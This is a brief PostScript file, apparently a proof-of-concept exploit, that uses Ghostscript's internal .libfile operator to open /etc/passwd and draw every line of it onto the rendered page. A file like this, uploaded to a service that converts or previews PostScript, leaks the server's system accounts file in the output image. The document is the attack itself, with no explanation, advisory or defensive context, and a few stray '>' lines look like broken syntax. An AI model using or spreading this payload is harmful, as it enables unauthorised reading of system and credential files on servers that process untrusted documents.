%!PS
/Size 20 def                             % font/line size
/Line 0 def                              % current line
/Buf 1024 string def                     % line buffer
/Path 0 newpath def
>
/Courier-Bold findfont Size scalefont setfont
1 1 1 setrgbcolor clippath fill          % draw white background
0 0 0 setrgbcolor                        % set black foreground
>
(/etc/passwd) .libfile {
    {
        dup Buf readline
        {
            Path Line moveto show
        }{
            showpage
            quit
        } ifelse
        % next line
        /Line Line Size add def
    } loop
} if